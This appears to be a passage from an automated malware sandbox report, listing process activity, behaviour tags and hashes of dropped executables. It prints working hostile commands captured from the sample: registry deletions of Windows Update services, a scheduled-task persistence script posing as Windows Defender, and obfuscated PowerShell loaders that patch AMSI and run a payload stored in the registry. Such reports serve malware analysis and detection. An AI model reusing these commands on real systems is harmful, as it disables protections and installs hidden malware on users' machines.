- Launches sc.exe
PID:1100
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1476
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:3968
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2852
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:3316
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3140
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1904
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:456
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1336 -ip 13361⤵PID:2392
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4060 -ip 40601⤵PID:1692
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:nCCYviqsHdjB{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WwAKGSBHRDWOoz,[Parameter(Position=1)][Type]$xwrksjWBad)$FpPUxsAMjUK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'l'+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+'M'+''+'e'+''+'m'+'o'+'r'+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+'g'+'a'+'t'+'e'+'T'+'y'+[Char](112)+''+'e'+'','C'+[Char](108)+''+'a'+''+'s'+''+[Char](115)+','+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+'n'+'s'+'i'+'C'+''+[Char](108)+'a'+[Char](115)+'s'+','+'A'+[Char](117)+'t'+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$FpPUxsAMjUK.DefineConstructor(''+'R'+'T'+'S'+''+'p'+''+'e'+''+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$WwAKGSBHRDWOoz).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');$FpPUxsAMjUK.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'',''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+'e'+'w'+'S'+[Char](108)+'ot'+','+''+[Char](86)+'ir'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$xwrksjWBad,$WwAKGSBHRDWOoz).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+','+'Ma'+[Char](110)+''+[Char](97)+'g'+[Char](101)+'d');Write-Output $FpPUxsAMjUK.CreateType();}$FUkTrpzWueXms=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+[Char](116)+'e'+'m'+''+'.'+''+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+'i'+'c'+'r'+'o'+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+'2'+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+'f'+'e'+''+[Char](70)+''+[Char](85)+''+'k'+''+[Char](84)+''+[Char](114)+''+[Char](112)+''+[Char](122)+''+[Char](87)+''+[Char](117)+''+[Char](101)+''+'X'+''+'m'+''+[Char](115)+'');$DTAgOlgDJQWLtZ=$FUkTrpzWueXms.GetMethod('D'+[Char](84)+''+[Char](65)+''+[Char](103)+'O'+[Char](108)+''+[Char](103)+''+[Char](68)+''+[Char](74)+''+'Q'+''+'W'+'Lt'+'Z'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'tic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qjeRWdwPHIlJCIoWZlW=nCCYviqsHdjB @([String])([IntPtr]);$KkCUmIMZFcqHkkhgULckiB=nCCYviqsHdjB @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$XrZkjGAIydh=$FUkTrpzWueXms.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+'a'+'n'+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+'l3'+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$zMkhOdQUnCSEUz=$DTAgOlgDJQWLtZ.Invoke($Null,@([Object]$XrZkjGAIydh,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+[Char](76)+''+'i'+'b'+'r'+''+'a'+''+'r'+''+[Char](121)+'A')));$qUWTnLiJHinVvMfNq=$DTAgOlgDJQWLtZ.Invoke($Null,@([Object]$XrZkjGAIydh,[Object]('V'+'i'+'r'+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+'t'+'ec'+[Char](116)+'')));$YmNDYTu=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zMkhOdQUnCSEUz,$qjeRWdwPHIlJCIoWZlW).Invoke('am'+[Char](115)+'i.'+[Char](100)+'l'+[Char](108)+'');$lEiYpALnqHhDkHDTP=$DTAgOlgDJQWLtZ.Invoke($Null,@([Object]$YmNDYTu,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+'e'+'r'+'')));$nSVMTqMftP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qUWTnLiJHinVvMfNq,$KkCUmIMZFcqHkkhgULckiB).Invoke($lEiYpALnqHhDkHDTP,[uint32]8,4,[ref]$nSVMTqMftP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$lEiYpALnqHhDkHDTP,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qUWTnLiJHinVvMfNq,$KkCUmIMZFcqHkkhgULckiB).Invoke($lEiYpALnqHhDkHDTP,[uint32]8,0x20,[ref]$nSVMTqMftP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+[Char](84)+''+[Char](87)+'A'+'R'+''+'E'+'').GetValue(''+'d'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+'t'+'a'+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4624
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:NznaalOiogYh{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qhfawyEWjaeYAv,[Parameter(Position=1)][Type]$zWmommiXgC)$VuIHjvEhYqs=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+'e'+''+[Char](99)+'t'+[Char](101)+'d'+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+'e'+'m'+[Char](111)+''+'r'+'y'+[Char](77)+'odu'+'l'+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'','C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+','+[Char](80)+'ub'+[Char](108)+'i'+[Char](99)+','+[Char](83)+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+'d,'+[Char](65)+''+[Char](110)+'siC'+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+'t'+'o'+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$VuIHjvEhYqs.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+'a'+'m'+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+'de'+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+',P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$qhfawyEWjaeYAv).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$VuIHjvEhYqs.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+'ke',''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+'c'+',H'+[Char](105)+''+[Char](100)+''+[Char](101)+'By'+'S'+''+[Char](105)+'g,'+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+','+[Char](86)+'i'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$zWmommiXgC,$qhfawyEWjaeYAv).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $VuIHjvEhYqs.CreateType();}$YOuXtKCBxmWVQ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+'s'+''+'t'+''+[Char](101)+'m.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'ro'+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+'n'+'3'+'2.'+'U'+''+[Char](110)+'sa'+[Char](102)+''+'e'+''+[Char](89)+''+[Char](79)+'u'+[Char](88)+''+[Char](116)+''+[Char](75)+''+'C'+''+'B'+''+[Char](120)+''+'m'+''+[Char](87)+''+[Char](86)+''+[Char](81)+'');$DGPiEixpBYJbFE=$YOuXtKCBxmWVQ.GetMethod(''+'D'+'G'+[Char](80)+''+'i'+''+'E'+''+'i'+''+'x'+''+[Char](112)+''+[Char](66)+''+'Y'+''+[Char](74)+''+[Char](98)+''+[Char](70)+'E',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+''+','+''+'S'+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qaApsepBxpgksDNwwpZ=NznaalOiogYh @([String])([IntPtr]);$aEYmiuBxjXciNGWbCEZfRT=NznaalOiogYh @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kZrabgmfIHa=$YOuXtKCBxmWVQ.GetMethod(''+'G'+'et'+[Char](77)+'odu'+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+'l'+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+''+'e'+''+'l'+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$KihHOATTayHmKG=$DGPiEixpBYJbFE.Invoke($Null,@([Object]$kZrabgmfIHa,[Object]('L'+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$JwqyIcQQQXRVHdzWk=$DGPiEixpBYJbFE.Invoke($Null,@([Object]$kZrabgmfIHa,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'Pr'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$uEaKtHa=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KihHOATTayHmKG,$qaApsepBxpgksDNwwpZ).Invoke(''+[Char](97)+''+[Char](109)+'s'+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$yvdSaWZuegLvuIseQ=$DGPiEixpBYJbFE.Invoke($Null,@([Object]$uEaKtHa,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+''+[Char](83)+'c'+[Char](97)+'n'+'B'+''+'u'+'f'+[Char](102)+''+'e'+'r')));$HldDLEImLa=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JwqyIcQQQXRVHdzWk,$aEYmiuBxjXciNGWbCEZfRT).Invoke($yvdSaWZuegLvuIseQ,[uint32]8,4,[ref]$HldDLEImLa);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$yvdSaWZuegLvuIseQ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JwqyIcQQQXRVHdzWk,$aEYmiuBxjXciNGWbCEZfRT).Invoke($yvdSaWZuegLvuIseQ,[uint32]8,0x20,[ref]$HldDLEImLa);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+''+'T'+'W'+'A'+''+'R'+''+[Char](69)+'').GetValue('d'+'i'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+'t'+[Char](97)+'g'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3972
Network
MITRE ATT&CK Enterprise v6
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 53KB
- SHA256 638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
- MD5 124edf3ad57549a6e475f3bc4e6cfe51
- SHA1 80f5187eeebb4a304e9caa0ce66fcd78c113d634
- SHA512 b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
- SSDEEP 1536:tB+z30fztAHkvlOdBrNKe8flJn1YorV3CNBQkj2okqdzz0RzWRW7jMOvBaVGVh4j:r+z30fztAHktOdBrNKe8flJn1YorV3Cd
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 19KB
- SHA256 8847904163d5b6056fd2d5aaa20045c6d07d15d8486280ac39a38aab0d762f6e
- MD5 afc6270bbd8bbba977d9865a145c48b1
- SHA1 93f05e4ce314e61e0454b6c95fb066c2200304d5
- SHA512 12e88ce18dc41bf3f64fd9b3946212bc5e0c5b204d5ddc583da427360a1bc54f21ebc2e2b03a22a74293e4b0e88f8c2540087e449d2040b1c03f3a2b5a96a19b
- SSDEEP 384:Hsf++8P9i+bprcfIel0izJk+o9o2TVK6seY+p7/PNA3So3A4f3l7FazCvrQCgcZx:Mfg/x8blDejo2TVNxtYSit7IzCNnLn
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
- MD5 c697637a9b17f577fccd7e83a5495810
- SHA1 04e6054584786b88994b0e0a871562227fe2a435
- SHA512 66f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
- Size 1.4MB
- SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
- MD5 bb86a343080f9f4696c250ef31a18d9d
- SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
- SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
- SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
- Size 1.4MB
- SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
- MD5 bb86a343080f9f4696c250ef31a18d9d
- SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
- SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
- SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
- Size 3.7MB
- SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
- MD5 f5c51e7760315ad0f0238d268c03c60e
- SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
- SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
- SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
- Size 3.7MB
- SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
- MD5 f5c51e7760315ad0f0238d268c03c60e
- SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
- SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
- SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\new2.exe
- Size 477KB
- SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
- MD5 3753f9966e5b4fdc87184c1749f2bd25
- SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
- SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
- SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\new2.exe
- Size 477KB
- SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
- MD5 3753f9966e5b4fdc87184c1749f2bd25
- SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
- SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
- SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
- MD5 SHA1 SHA512 SSDEEP